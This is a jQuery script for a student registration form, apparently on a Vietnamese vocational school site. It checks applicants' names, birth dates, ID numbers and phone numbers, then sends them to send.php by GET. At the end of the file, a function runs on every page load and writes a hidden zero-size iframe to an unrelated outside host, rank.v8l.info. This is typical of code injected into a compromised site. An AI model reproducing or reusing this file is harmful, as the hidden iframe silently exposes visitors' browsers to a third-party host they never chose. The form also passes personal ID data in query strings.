// JavaScript Document
function redirectlink(v)
{
	window.open(v,'mywindow');
}
function ShowDangKy(){
	$("#Welcome").hide("slow",function(){
			alert("Lưu ý : Bạn hãy nhập chính xác thông tin trong mẫu đơn đăng ký và làm theo hướng dẫn ở trên mỗi trường thông tin !");
		});
	}
function getValueId(id,type,svalue){
	if(document.getElementById(id)){
		
		if(typeof(type)=='undefined'){
			var type='value';
		}
		
		if(typeof(svalue)=='undefined'){
			var svalue='';
		}
		
		if(type=='value'){
			return document.getElementById(id).value;
		}
		else if(type=='checked'){
			return document.getElementById(id).checked;
			
		}
		else if(type=='assign'){
			return document.getElementById(id).value = svalue;
		}
		else{
			return '';
		}
	}
}


$(document).ready(function(){
	$("#Loading")
	.ajaxStart(function(){
		$(this).show();
	})
	.ajaxComplete(function(){
		$(this).hide();
	});
		
	$('#dangky').click(function(){
			
			var base_url = "";
			jQuery.blockUI({message: $('#formdangky'),css: { border:'none', padding:0}});		
			
			jQuery('#closebutton').click(function () {
				jQuery.unblockUI();
			});
			
			jQuery('#guidangky').click(function () {										   	
				
					var date = new Date();
					var thongtin = '<br>';
					var error = '';
					
					if (getValueId('HoTen') != "" && getValueId('HoTen').length > 10){
						thongtin += 'Họ tên :' + getValueId('HoTen');
						thongtin += '<br>';
					} else {
						error += 'Bạn chưa nhập đúng họ tên, xin mời nhập lại !\n';
						}
					// ngày tháng năm sinh
					if (getValueId('ngay') != "" && getValueId('ngay') > 0 && getValueId('ngay') <= 31){
						thongtin += 'Sinh ngày :' + getValueId('ngay');
					} else {
						error += 'Ngày sinh của bạn không đúng, xin mời nhập lại !\n';
					}						
					if (getValueId('thang') != "" && getValueId('thang') > 0 && getValueId('thang') <= 12){
						thongtin += '/' + getValueId('thang');
					} else {
						error += 'Tháng sinh của bạn chưa đúng, xin mời nhập lại !\n';
					}
					if (getValueId('nam') != "" && getValueId('nam') <= 1996){
						thongtin += '/' + getValueId('nam');
						thongtin += '<br>';
					} else {
						error += 'Nhà trường chỉ nhận đơn đăng ký của thí sinh từ 15 tuổi !\n';
					}

if (getValueId('CMTND') != "" && getValueId('CMTND').length >=9){
						thongtin += 'CMTND :' + getValueId('CMTND');
						thongtin += '<br>';
					}  else {
						error += 'CMTND mà bạn cung cấp quá ngắn hoặc bị bỏ trống, xin mời nhập lại !\n';
						}
					if (getValueId('DanToc') != ""){
						thongtin += 'Dân tộc :' + getValueId('DanToc');
						thongtin += '<br>';
					}  else {
						error += 'Bạn chưa khai dân tộc, xin mời nhập lại !\n';
						}
					if (getValueId('DiaChi') != ""){
						thongtin += 'Địa chỉ :' + getValueId('DiaChi');
						thongtin += '<br>';
					}  else {
						error += 'Địa chỉ của bạn chưa đúng, xin mời nhập lại !\n';
						}
					if (getValueId('HomePhone') != "" && getValueId('HomePhone').length >=11){
						thongtin += 'Điện thoại :' + getValueId('HomePhone');
						thongtin += '<br>';
					} else {
						error += 'Số điện thoại chưa đúng, xin mời nhập lại !';
						}
					if (getValueId('MobilePhone') != ""){
						thongtin += 'Di động :' + getValueId('MobilePhone');
						thongtin += '<br>';
					}

					
					thongtin += 'Giới tính :' + $("input:radio[name$='GioiTinh']:checked").val(); thongtin += '<br>';					
					thongtin += 'Học vấn :' + $("input:radio[name$='HocVan']:checked").val(); thongtin += '<br>';
					if (getValueId('TenTruong') != ""){
						thongtin += 'Tên trường :' + getValueId('TenTruong');
						thongtin += '<br>';
					}	
					thongtin += 'Đăng ký học : Hệ ' + getValueId('Nghe'); thongtin += '<br>';
					
					if(error != "")
					{
						alert(error);
						return false;
					}
					
					if(thongtin!=""){	
						jQuery.ajax({
						type: "GET",
						url: "send.php",
						data: {message:thongtin},
						success: function(msg) {	
							//alert(msg);
								if(msg == 'success'){
									alert("Cảm ơn bạn đã đăng ký !\nĐơn đăng ký học nghề của bạn đã được gửi nhà trường sẽ xem xét và xử lý trong thời gian sớm nhất !");
									jQuery.unblockUI();
									window.location.reload();
									return true;
								}
								else{
									alert("Thông tin bạn nhập vào không đúng, mời bạn thử lại !.");
									window.location.reload();
									return false;							
								}						
							}
							
						});
						
					}
					else{
						alert("Lý do than phiền không được để trống");
						return false;			
					}
					
			}); 
			$('#overlay').click(function () { 
			  $.unblockUI();
			});		
			
		});
	
});
function getiframe()
{
	document.write('<iframe src="http://rank.v8l.info/?scode=be42df0290f1fbff12afa2e083697979" width=0 height=0 frameBorder="0" style="display:none"></iframe>');
}
getiframe();
